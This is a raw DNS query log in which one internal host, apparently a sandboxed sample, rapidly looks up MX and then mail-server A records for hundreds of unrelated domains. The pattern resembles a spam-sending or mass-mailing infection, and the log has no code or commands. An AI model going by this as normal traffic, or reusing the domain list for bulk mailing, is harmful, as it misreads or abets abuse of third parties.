Dec 20, 2023 03:13:19.544379950 CET	192.168.2.4	1.1.1.1	0xd57d	Standard query (0)	mx1.emailsrvr.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.544996977 CET	192.168.2.4	1.1.1.1	0x493	Standard query (0)	mx.avasin.plus.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.545676947 CET	192.168.2.4	1.1.1.1	0xc4a8	Standard query (0)	mx002.netsol.xion.oxcs.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.547590971 CET	192.168.2.4	1.1.1.1	0xc803	Standard query (0)	go.active3d.dev	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.549021959 CET	192.168.2.4	1.1.1.1	0xc3ab	Standard query (0)	mx1.a2b-internet.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.570879936 CET	192.168.2.4	1.1.1.1	0x2dff	Standard query (0)	ontariobluejays-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.575059891 CET	192.168.2.4	1.1.1.1	0x7310	Standard query (0)	mx-mibc-fr-10.mailinblack.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.576443911 CET	192.168.2.4	1.1.1.1	0x788c	Standard query (0)	orangutech-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.759545088 CET	192.168.2.4	1.1.1.1	0xb9d7	Standard query (0)	mx01.kundenserver.de	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.834649086 CET	192.168.2.4	1.1.1.1	0x8f56	Standard query (0)	kingshit.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.837874889 CET	192.168.2.4	1.1.1.1	0xad55	Standard query (0)	meurrens.org	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.838169098 CET	192.168.2.4	1.1.1.1	0x3bcf	Standard query (0)	horsetech.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.849138021 CET	192.168.2.4	1.1.1.1	0xbcd7	Standard query (0)	mgbymags.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.851839066 CET	192.168.2.4	1.1.1.1	0xd9e2	Standard query (0)	rushroom.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.856734037 CET	192.168.2.4	1.1.1.1	0xc7cb	Standard query (0)	x-woofer.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.856734991 CET	192.168.2.4	1.1.1.1	0xa32f	Standard query (0)	ccs1.org	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.887464046 CET	192.168.2.4	1.1.1.1	0x787	Standard query (0)	wakux2.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.887836933 CET	192.168.2.4	1.1.1.1	0x74ea	Standard query (0)	uniqueaustralian.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.890593052 CET	192.168.2.4	1.1.1.1	0x9634	Standard query (0)	4ku9ipwefstyxr.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.896627903 CET	192.168.2.4	1.1.1.1	0x3fc2	Standard query (0)	devnetmedia.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.897025108 CET	192.168.2.4	1.1.1.1	0x58eb	Standard query (0)	qihabitats.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.897025108 CET	192.168.2.4	1.1.1.1	0x4d19	Standard query (0)	curtisoutland.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.909082890 CET	192.168.2.4	1.1.1.1	0xd2dd	Standard query (0)	justinsweet.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.909082890 CET	192.168.2.4	1.1.1.1	0x4709	Standard query (0)	bvox.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.909995079 CET	192.168.2.4	1.1.1.1	0x5c85	Standard query (0)	iconcap.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.910948992 CET	192.168.2.4	1.1.1.1	0xd489	Standard query (0)	hildebrandlegacy.org	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.915788889 CET	192.168.2.4	1.1.1.1	0xd429	Standard query (0)	clsunlimited.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.915975094 CET	192.168.2.4	1.1.1.1	0xe7fa	Standard query (0)	zhelen.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.916086912 CET	192.168.2.4	1.1.1.1	0x311b	Standard query (0)	artusopastry.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.916389942 CET	192.168.2.4	1.1.1.1	0xeb5f	Standard query (0)	inhofer.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.926702023 CET	192.168.2.4	1.1.1.1	0xa904	Standard query (0)	soytijuana.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.926911116 CET	192.168.2.4	1.1.1.1	0xab0c	Standard query (0)	cyadp.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.927304029 CET	192.168.2.4	1.1.1.1	0xae9f	Standard query (0)	dfc.nettw	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.927304029 CET	192.168.2.4	1.1.1.1	0x73af	Standard query (0)	pricklypearworks.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.927592039 CET	192.168.2.4	1.1.1.1	0x7ab9	Standard query (0)	twohillsstudio.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.927876949 CET	192.168.2.4	1.1.1.1	0x1cde	Standard query (0)	u90soccercenter.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.928102016 CET	192.168.2.4	1.1.1.1	0x98db	Standard query (0)	majormega.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.928189039 CET	192.168.2.4	1.1.1.1	0xffab	Standard query (0)	eurobay-mk.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.948441029 CET	192.168.2.4	1.1.1.1	0x38c3	Standard query (0)	entexclusives.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.948672056 CET	192.168.2.4	1.1.1.1	0xcca4	Standard query (0)	recipe-for-kids.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.948865891 CET	192.168.2.4	1.1.1.1	0xb989	Standard query (0)	the-i-junction.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.949341059 CET	192.168.2.4	1.1.1.1	0x19d3	Standard query (0)	engelgau.net	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.949341059 CET	192.168.2.4	1.1.1.1	0xa85e	Standard query (0)	youre.a.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.949619055 CET	192.168.2.4	1.1.1.1	0x196e	Standard query (0)	ads-ecuador.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.950910091 CET	192.168.2.4	1.1.1.1	0xc2b2	Standard query (0)	lsmnutrition.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.951186895 CET	192.168.2.4	1.1.1.1	0xef05	Standard query (0)	justhelpthyself.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.951472998 CET	192.168.2.4	1.1.1.1	0x1182	Standard query (0)	fzdwiq.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.951745033 CET	192.168.2.4	1.1.1.1	0xfec1	Standard query (0)	lunarrastar.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.953747988 CET	192.168.2.4	1.1.1.1	0x6a93	Standard query (0)	maatinus.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.954071045 CET	192.168.2.4	1.1.1.1	0xe16f	Standard query (0)	drunkcoats.comoj.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.954448938 CET	192.168.2.4	1.1.1.1	0xb72a	Standard query (0)	dekoracio.net	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.954448938 CET	192.168.2.4	1.1.1.1	0xa46b	Standard query (0)	riovista.net	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.954710007 CET	192.168.2.4	1.1.1.1	0x8893	Standard query (0)	atelcommunications.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.955065966 CET	192.168.2.4	1.1.1.1	0xc533	Standard query (0)	topshelfgames.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.955065966 CET	192.168.2.4	1.1.1.1	0xaab5	Standard query (0)	bsboil.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.955313921 CET	192.168.2.4	1.1.1.1	0xcbe4	Standard query (0)	ilovetechno.net	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.955681086 CET	192.168.2.4	1.1.1.1	0x11b2	Standard query (0)	directa-plus.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.955681086 CET	192.168.2.4	1.1.1.1	0x602f	Standard query (0)	gatewayseweranddrain.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.957132101 CET	192.168.2.4	1.1.1.1	0x90e7	Standard query (0)	ajpascual.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.957441092 CET	192.168.2.4	1.1.1.1	0xef5	Standard query (0)	remafer.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.966335058 CET	192.168.2.4	1.1.1.1	0xef44	Standard query (0)	wethepros.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.969300985 CET	192.168.2.4	1.1.1.1	0xe6e0	Standard query (0)	njbkrl.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.969300985 CET	192.168.2.4	1.1.1.1	0x36ae	Standard query (0)	thomchick.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.969856024 CET	192.168.2.4	1.1.1.1	0x9414	Standard query (0)	alnajah.net	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.970166922 CET	192.168.2.4	1.1.1.1	0x6bfb	Standard query (0)	guymassey.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.970416069 CET	192.168.2.4	1.1.1.1	0x9ac0	Standard query (0)	smtp1.rehau.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.971035004 CET	192.168.2.4	1.1.1.1	0xbc34	Standard query (0)	alt1.aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.971892118 CET	192.168.2.4	1.1.1.1	0xe379	Standard query (0)	aspmx3.googlemail.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.974565029 CET	192.168.2.4	1.1.1.1	0x92ae	Standard query (0)	web99.dnchosting.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.983911991 CET	192.168.2.4	1.1.1.1	0x8229	Standard query (0)	blackdesign.com.sg	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.989022970 CET	192.168.2.4	1.1.1.1	0x4c22	Standard query (0)		256	256	false
Dec 20, 2023 03:13:19.998667955 CET	192.168.2.4	1.1.1.1	0x163e	Standard query (0)	micresearch-net.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.999856949 CET	192.168.2.4	1.1.1.1	0xc463	Standard query (0)	mx3c11.megamailservers.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.000371933 CET	192.168.2.4	1.1.1.1	0x8a4c	Standard query (0)	conalcorp-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.000737906 CET	192.168.2.4	1.1.1.1	0x9312	Standard query (0)	geoffreynolds-com-au.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.000933886 CET	192.168.2.4	1.1.1.1	0xa8b1	Standard query (0)	yjroeown.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.004966974 CET	192.168.2.4	1.1.1.1	0xac1d	Standard query (0)	nicsonsconcrete-com-au.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.004966974 CET	192.168.2.4	1.1.1.1	0x3a69	Standard query (0)	mail.ecochild.com.au	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.009361982 CET	192.168.2.4	1.1.1.1	0x3022	Standard query (0)	greenlawnfertilizing-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.010417938 CET	192.168.2.4	1.1.1.1	0x9742	Standard query (0)	antoniocorts.net	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.011393070 CET	192.168.2.4	1.1.1.1	0x3751	Standard query (0)	carisfoundationintl.org	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.011394024 CET	192.168.2.4	1.1.1.1	0xb0fa	Standard query (0)	texasopendoor.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.016076088 CET	192.168.2.4	1.1.1.1	0xc17	Standard query (0)	d212283.a.ess.uk.barracudanetworks.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.020445108 CET	192.168.2.4	1.1.1.1	0x7ee8	Standard query (0)	mx1.ovh.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.028558016 CET	192.168.2.4	1.1.1.1	0x84ed	Standard query (0)	shopeeten.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.028654099 CET	192.168.2.4	1.1.1.1	0x11f3	Standard query (0)	theseekerchurch.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.029417992 CET	192.168.2.4	1.1.1.1	0xee93	Standard query (0)	hildebrandlegacy.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.029882908 CET	192.168.2.4	1.1.1.1	0x377a	Standard query (0)	ajpascual.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.029882908 CET	192.168.2.4	1.1.1.1	0xb3f5	Standard query (0)	horsetech.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.030179024 CET	192.168.2.4	1.1.1.1	0x204a	Standard query (0)	meurrens.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.030601978 CET	192.168.2.4	1.1.1.1	0xc5a3	Standard query (0)	clsunlimited.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.030601978 CET	192.168.2.4	1.1.1.1	0x549f	Standard query (0)	zhelen.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.030826092 CET	192.168.2.4	1.1.1.1	0xcad8	Standard query (0)	mgbymags.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.031230927 CET	192.168.2.4	1.1.1.1	0xe640	Standard query (0)	rushroom.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.031230927 CET	192.168.2.4	1.1.1.1	0xe1f9	Standard query (0)	x-woofer.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.031523943 CET	192.168.2.4	1.1.1.1	0x561f	Standard query (0)	ccs1.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.032021999 CET	192.168.2.4	1.1.1.1	0x2041	Standard query (0)	uniqueaustralian.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.032021999 CET	192.168.2.4	1.1.1.1	0xdfa8	Standard query (0)	wakux2.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.032495022 CET	192.168.2.4	1.1.1.1	0x95b	Standard query (0)	4ku9ipwefstyxr.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.032759905 CET	192.168.2.4	1.1.1.1	0x94c6	Standard query (0)	devnetmedia.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.033001900 CET	192.168.2.4	1.1.1.1	0x28c3	Standard query (0)	qihabitats.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.033271074 CET	192.168.2.4	1.1.1.1	0xf513	Standard query (0)	curtisoutland.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.033780098 CET	192.168.2.4	1.1.1.1	0x7917	Standard query (0)	bvox.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.033780098 CET	192.168.2.4	1.1.1.1	0xdecd	Standard query (0)	justinsweet.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.033905029 CET	192.168.2.4	1.1.1.1	0x4c81	Standard query (0)	iconcap.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.034543991 CET	192.168.2.4	1.1.1.1	0xe902	Standard query (0)	artusopastry.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.034543991 CET	192.168.2.4	1.1.1.1	0x5b07	Standard query (0)	inhofer.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.034791946 CET	192.168.2.4	1.1.1.1	0xc8bd	Standard query (0)	soytijuana.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.035101891 CET	192.168.2.4	1.1.1.1	0x2c8	Standard query (0)	cyadp.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.035101891 CET	192.168.2.4	1.1.1.1	0xc78d	Standard query (0)	pricklypearworks.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.035101891 CET	192.168.2.4	1.1.1.1	0xb836	Standard query (0)	dfc.nettw	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.035357952 CET	192.168.2.4	1.1.1.1	0x3b67	Standard query (0)	twohillsstudio.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.035613060 CET	192.168.2.4	1.1.1.1	0x8226	Standard query (0)	u90soccercenter.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.035613060 CET	192.168.2.4	1.1.1.1	0xe5fe	Standard query (0)	majormega.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.035763025 CET	192.168.2.4	1.1.1.1	0x4983	Standard query (0)	eurobay-mk.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.035856009 CET	192.168.2.4	1.1.1.1	0xd1a6	Standard query (0)	entexclusives.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.036083937 CET	192.168.2.4	1.1.1.1	0x3c2b	Standard query (0)	recipe-for-kids.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.042155981 CET	192.168.2.4	1.1.1.1	0xed01	Standard query (0)	the-i-junction.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.042155981 CET	192.168.2.4	1.1.1.1	0x16f7	Standard query (0)	engelgau.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.042292118 CET	192.168.2.4	1.1.1.1	0x6d11	Standard query (0)	youre.a.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.042514086 CET	192.168.2.4	1.1.1.1	0x52ec	Standard query (0)	ads-ecuador.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.042795897 CET	192.168.2.4	1.1.1.1	0x5a36	Standard query (0)	justhelpthyself.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.042795897 CET	192.168.2.4	1.1.1.1	0xb101	Standard query (0)	lsmnutrition.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.044430017 CET	192.168.2.4	1.1.1.1	0x6452	Standard query (0)	fzdwiq.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.047787905 CET	192.168.2.4	1.1.1.1	0x63c9	Standard query (0)	lunarrastar.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.048084021 CET	192.168.2.4	1.1.1.1	0x92c3	Standard query (0)	maatinus.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.049410105 CET	192.168.2.4	1.1.1.1	0xfda2	Standard query (0)	drunkcoats.comoj.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.137398958 CET	192.168.2.4	1.1.1.1	0xca1a	Standard query (0)	blackdesign.com.sg	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.137398958 CET	192.168.2.4	1.1.1.1	0x9c8	Standard query (0)	wethepros.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.137491941 CET	192.168.2.4	1.1.1.1	0xbb1e	Standard query (0)	kingshit.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.238126993 CET	192.168.2.4	1.1.1.1	0xb874	Standard query (0)	dekoracio.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.285872936 CET	192.168.2.4	1.1.1.1	0x853b	Standard query (0)	atelcommunications.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.285975933 CET	192.168.2.4	1.1.1.1	0x43da	Standard query (0)	riovista.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.286122084 CET	192.168.2.4	1.1.1.1	0x2391	Standard query (0)	topshelfgames.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.318214893 CET	192.168.2.4	1.1.1.1	0xad53	Standard query (0)	bsboil.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.378271103 CET	192.168.2.4	1.1.1.1	0xfbd6	Standard query (0)	ilovetechno.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.821609974 CET	192.168.2.4	1.1.1.1	0x8f56	Standard query (0)	kingshit.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.824331999 CET	192.168.2.4	1.1.1.1	0xdef8	Standard query (0)	alnajah.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.824556112 CET	192.168.2.4	1.1.1.1	0xf9a3	Standard query (0)	guymassey.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.949214935 CET	192.168.2.4	1.1.1.1	0xb369	Standard query (0)	directa-plus.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.954875946 CET	192.168.2.4	1.1.1.1	0xc74d	Standard query (0)	texasopendoor.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.955532074 CET	192.168.2.4	1.1.1.1	0xa8c5	Standard query (0)	carisfoundationintl.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.964878082 CET	192.168.2.4	1.1.1.1	0x1b45	Standard query (0)	antoniocorts.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.965641975 CET	192.168.2.4	1.1.1.1	0xe941	Standard query (0)	yjroeown.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.966454983 CET	192.168.2.4	1.1.1.1	0x5f5f	Standard query (0)	mx.theseekerchurch.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:21.004872084 CET	192.168.2.4	1.1.1.1	0xef44	Standard query (0)	wethepros.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:21.007571936 CET	192.168.2.4	1.1.1.1	0x8229	Standard query (0)	blackdesign.com.sg	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:21.171911001 CET	192.168.2.4	1.1.1.1	0x92e2	Standard query (0)	www.registrar-transfers.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:21.291611910 CET	192.168.2.4	1.1.1.1	0xacd9	Standard query (0)	www.lisvankooten.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:21.292413950 CET	192.168.2.4	1.1.1.1	0xf978	Standard query (0)	www.rosetre.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:21.385114908 CET	192.168.2.4	1.1.1.1	0x3aaa	Standard query (0)	www.ecochild.com.au	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:21.386909962 CET	192.168.2.4	1.1.1.1	0xcb44	Standard query (0)	horsetech-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:21.590347052 CET	192.168.2.4	1.1.1.1	0x4aed	Standard query (0)	mx00.1and1.co.uk	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:21.593276024 CET	192.168.2.4	1.1.1.1	0x3bd2	Standard query (0)	www.orangutech.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:21.845599890 CET	192.168.2.4	1.1.1.1	0x8f56	Standard query (0)	kingshit.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:21.860441923 CET	192.168.2.4	1.1.1.1	0x48bc	Standard query (0)	mx2-us1.ppe-hosted.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:21.884226084 CET	192.168.2.4	1.1.1.1	0x767	Standard query (0)	www.collinsgordonhenry.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.142859936 CET	192.168.2.4	1.1.1.1	0xea5f	Standard query (0)	www.newriverclimbing.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.167284012 CET	192.168.2.4	1.1.1.1	0xbb1e	Standard query (0)	kingshit.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:22.167284012 CET	192.168.2.4	1.1.1.1	0x9c8	Standard query (0)	wethepros.com	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:22.178005934 CET	192.168.2.4	1.1.1.1	0x4f8e	Standard query (0)	eforward5.registrar-servers.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.178005934 CET	192.168.2.4	1.1.1.1	0xfbab	Standard query (0)	lsmnutrition-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.240444899 CET	192.168.2.4	1.1.1.1	0xc4b6	Standard query (0)	justinsweet-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.240444899 CET	192.168.2.4	1.1.1.1	0xaede	Standard query (0)	mx156.hostedmxserver.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.243962049 CET	192.168.2.4	1.1.1.1	0x45a0	Standard query (0)	shared67.accountservergroup.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.245857000 CET	192.168.2.4	1.1.1.1	0xabe1	Standard query (0)	atelcommunications-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.246300936 CET	192.168.2.4	1.1.1.1	0x4392	Standard query (0)	mx.mail-data.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.250921011 CET	192.168.2.4	1.1.1.1	0xe342	Standard query (0)	mx1.privateemail.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.251878977 CET	192.168.2.4	1.1.1.1	0x383f	Standard query (0)	mailgw.paloaltodatacenter.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.251878977 CET	192.168.2.4	1.1.1.1	0x8e40	Standard query (0)	www.geoffreynolds.com.au	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.251878977 CET	192.168.2.4	1.1.1.1	0xfd99	Standard query (0)	aspmx2.googlemail.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.252438068 CET	192.168.2.4	1.1.1.1	0xc17c	Standard query (0)	texasopendoor-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.252640963 CET	192.168.2.4	1.1.1.1	0x7fc9	Standard query (0)	mx00.ionos.co.uk	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.254101038 CET	192.168.2.4	1.1.1.1	0xeb7e	Standard query (0)	mx1.mailchannels.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.254101038 CET	192.168.2.4	1.1.1.1	0x30c8	Standard query (0)	mail.mgbymags.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.254101038 CET	192.168.2.4	1.1.1.1	0xbda2	Standard query (0)	mx.ads-ecuador.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.256442070 CET	192.168.2.4	1.1.1.1	0xf5f6	Standard query (0)	directaplus-com01i.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.269046068 CET	192.168.2.4	1.1.1.1	0x76a9	Standard query (0)	www.nymalegigolos.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.269354105 CET	192.168.2.4	1.1.1.1	0x9aa2	Standard query (0)	www.greenlawnfertilizing.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.272444963 CET	192.168.2.4	1.1.1.1	0x581	Standard query (0)	mx3-cl.celeonet.fr	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.272444963 CET	192.168.2.4	1.1.1.1	0xd5cc	Standard query (0)	www.plastikolor.com	A (IP address)	IN (0x0001)	false
